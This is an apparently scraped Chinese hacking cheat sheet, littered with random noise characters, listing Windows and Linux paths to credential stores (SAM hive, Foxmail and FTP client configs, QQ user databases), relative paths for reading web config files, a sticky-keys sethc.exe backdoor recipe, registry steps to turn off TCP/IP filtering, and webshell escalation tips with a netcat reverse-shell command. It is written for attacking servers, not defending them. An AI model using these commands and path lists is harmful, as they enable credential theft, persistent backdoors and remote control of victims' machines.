C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
& \. I' H  ]% |C:\WINDOWS\system32\inetsrv\MetaBase.xml
. G$ [  D; l6 q( ?; @, _& w2 ]" q( o. YC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
6 ~. E2 u% X6 gC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
9 R3 g. T: e( G$ N2 g* oC:\WINDOWS\system32\config\system
1 I2 }+ A3 m6 E& [' ic:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
3 e% k8 ~/ \* H6 C! l9 kc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
2 w3 `/ Y7 _, L; D1 _- F' F5 r1 [c:\program files\tomcat6\bin\version.sh
/ K. f/ `: G- v1 sC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
: I2 I( i( ^9 {1 @5 GC:\Program Files\Apache Group\Apache2\bin\Apache.exe
3 g4 R$ d4 d1 o) O/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
( J$ R9 y0 z4 F3 k1 M/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
' N! D: `  ^3 [c:\Program Files\Tencent\qq2009\qq.exe
( k0 O: a4 E7 R8 F' vc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
+ }8 q' M5 c" h! Dc:\Program Files\Tencent\qq\Users\All Users\Registry.db
. E/ \6 [# G* O+ `- w+ zC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
. {" [& S  p8 \& D4 Fc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
! x3 {  T! ~' u4 WC:\Program Files\Foxmal\Foxmail.exe
# n) K' v. L4 s& [+ Z% ]C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
  `& T5 c( Q3 ~+ RC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
! h* }4 u3 R* I0 P  Q1 O! Vc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
  [# q/ |' ?+ W6 h, f# ~* i: dc:\Program Files\tencent\QQGAME\readme.txt
' N! y8 |6 v- G) A4 y7 PC:\Program Files\StormII\Storm.exe

. R* b6 ~# d% b( x3.网站相对路径:
6 ~! |1 \1 Q: T4 n/ s  X0 }* J
/config.php
# |0 }9 ]8 H  \. T3 B# @9 j../../config.php
# s& ~) o0 f7 P0 E) \../config.php
3 ]2 l+ |/ y) d0 U, }../../../config.php
: \$ K8 D% A; E/config.inc.php
6 G" W& }3 A$ ~$ H: j./config.inc.php
& H) R; S& D; E; z5 h7 b8 P../../config.inc.php
../config.inc.php
) O; l6 K3 N- q+ E$ K../../../config.inc.php
/conn.php
./conn.php
../../conn.php
../conn.php
* Z0 w% ?7 Z- I. Y9 X../../../conn.php
/conn.asp
: N1 u, E4 b! ^: N9 V./conn.asp
../../conn.asp
$ g+ p& u) @7 Z../conn.asp
9 n6 c2 j- o+ y' Z. q7 M* E' g../../../conn.asp
! I' T* g/ s3 f' {0 m/ F. V/config.inc.php
./config.inc.php
../../config.inc.php
1 @5 ~+ v& f1 C( [0 s7 Y- a8 y; |../config.inc.php
0 s, G7 T# }. z5 ~../../../config.inc.php
/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
' ]+ r, s, Q* I( `* f/config/config.inc.php
7 O2 w1 w) e7 F  {) U$ q! u0 F; n./config/config.inc.php
../../config/config.inc.php
: z6 j$ Y; X( v../config/config.inc.php
../../../config/config.inc.php
; {1 T1 |) h3 [! {4 }8 l! R- H$ Q/config/conn.php
) q& C$ u" X  `5 h8 G( E./config/conn.php
../../config/conn.php
- M0 [! L: i" j, d% B5 Q. o- [../config/conn.php
' i- Q! r- R1 S* L) U../../../config/conn.php
: \; X5 P3 G1 @# K1 E$ |! |/config/conn.asp
./config/conn.asp
../../config/conn.asp
../config/conn.asp
+ b/ P8 R9 s+ s% k../../../config/conn.asp
/ y8 x$ L/ \" h, W6 r' N! o+ \/config/config.inc.php
./config/config.inc.php
6 ]: N- a+ z3 H0 u8 a" U" {7 }% ~../../config/config.inc.php
/ Z8 T' r, |  D; E. b../config/config.inc.php
../../../config/config.inc.php
8 o; y) |$ t7 z8 B  u/ D/data/config.php
5 Y# r0 n2 o+ _  S../../data/config.php
../data/config.php
  Z0 x' @5 ?" F* J1 u2 a- S../../../data/config.php
9 S6 ~9 M* S% Z1 m, k/data/config.inc.php
./data/config.inc.php
. h, R6 V' P' F% l2 m../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
./data/conn.php
/ M5 c( A, ]; L/ h5 N../../data/conn.php
. w2 T1 d- |% ]  N* }../data/conn.php
6 x) s6 \% W5 L/ j../../../data/conn.php
7 d' C4 l" `, M- T% y% Z/data/conn.asp
./data/conn.asp
( Z2 z9 W/ n+ ?$ l$ n  a  e../../data/conn.asp
" f  j2 @& k1 L, A../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
$ a' a* S: l" a../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
; m9 B4 A* {3 d3 n/include/config.php
../../include/config.php
../include/config.php
../../../include/config.php
; O. e- a# D* \; ?- d4 {) w/include/config.inc.php
& R: t- ?' }$ ^6 I./include/config.inc.php
../../include/config.inc.php
0 `5 U) }, o- U. |- G" b0 O" N../include/config.inc.php
- Z7 ~6 c( `4 C../../../include/config.inc.php
5 Q# d! t6 G6 m( T/include/conn.php
% g8 K' q$ R% @./include/conn.php
! y; i  A* g- M. Y../../include/conn.php
" P, S7 N4 I& {+ M$ ?. T( i& M../include/conn.php
../../../include/conn.php
; E. v! l! h1 u. H7 F" Z! e/include/conn.asp
; A6 j9 U: G; [4 @1 O1 G. e: G5 u./include/conn.asp
. b% Q9 V# e* _6 Y. v, R../../include/conn.asp
1 S( E" b1 N- B2 l* n2 R../include/conn.asp
- Q/ I1 R- h( S; k; M# j/ c../../../include/conn.asp
% U4 ?- F5 ^: g1 o: `4 ]0 i/include/config.inc.php
./include/config.inc.php
3 O0 q) l4 a8 u) k2 y% u9 _../../include/config.inc.php
5 E+ O4 M2 v% x: A../include/config.inc.php
../../../include/config.inc.php
  n' m; t; r9 F+ J$ G/inc/config.php
; F' T* I: B/ g- h+ [../../inc/config.php
- N5 A. q( {6 c../inc/config.php
../../../inc/config.php
  W! D/ I, ~: J% m9 f/inc/config.inc.php
1 W! y2 ~3 D0 x./inc/config.inc.php
) m% S/ z( l; F; b# O8 C1 g../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
& E% q7 L6 Y2 v; S+ a/ i! i2 M$ a./inc/conn.php
5 p2 f( N7 \3 p' t4 b: H/ l../../inc/conn.php
  \8 Z5 l, }! ?1 q& R2 u../inc/conn.php
3 {( Z' A3 w+ d. t+ B../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
3 w1 _; C- q" K2 T! T% F$ w../../inc/conn.asp
5 q9 P0 G6 n( e* y../inc/conn.asp
../../../inc/conn.asp
# q  v3 n: h3 d. x/inc/config.inc.php
./inc/config.inc.php
7 v2 R! h: q7 x# g../../inc/config.inc.php
../inc/config.inc.php
0 N+ v# r4 U  ~../../../inc/config.inc.php
/index.php
./index.php
' I# G  ]& g7 B- V5 a7 o../../index.php
7 p! {6 r; w5 V2 f8 O../index.php
../../../index.php
, ]4 q$ T- u0 z" B; z) i/ E/index.asp
5 ?' q& e9 V' e3 D./index.asp
7 ^; b- _# L( o% i* y2 O; r3 f../../index.asp
../index.asp
../../../index.asp
, A0 w4 t- U/ X替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
4 g8 l" }) P; `3 H; C  J
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

( g8 r2 |' q' h/ @　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
) B" i# }- N6 q' I
+ p# L; ]/ |, c6 U　　attrib c:\windows\system32\sethc.exe +h +r +s
8 H' w6 {0 A$ `# x1 n( M
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
! t& f, V. O: x% ?# [& [TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
, o: o3 ~" _  L0 ?HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

, r' Q+ o+ C8 |9 K分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
/ l, z* b. g/ D命令来导出注册表项
8 q9 G7 {, a$ g& |
3 K% r3 s$ E2 d1 J& t) t* Z+ i然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

' X$ z3 B8 b4 b/ u& T9 N; ^' q7 ^再将以上三个文件分别用
regedit -s D:\a.reg
3 B" x5 Y8 z/ P9 O. |6 Y8 R; g5 Pregedit -s D:\b.reg
- T. l' Z8 G4 Q% Lregedit -s D:\c.reg
, v3 w" X8 s) c/ u) [导入注册表即可
9 V! D5 C. Y5 M% e. m: E7 {
9 z" H3 @* W6 u( q, qwebshell提权小技巧
; B1 c4 B- _: e- K( D0 {0 K1 G+ ucmd路径:
$ W; r0 V( [, q+ N9 i8 jc:\windows\temp\cmd.exe
/ T. H7 M' N& W' ]5 v. {nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
# o( A3 C) B3 v, R8 e# R, z通常都不会成功。
, k8 F) [) Y7 n" k
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功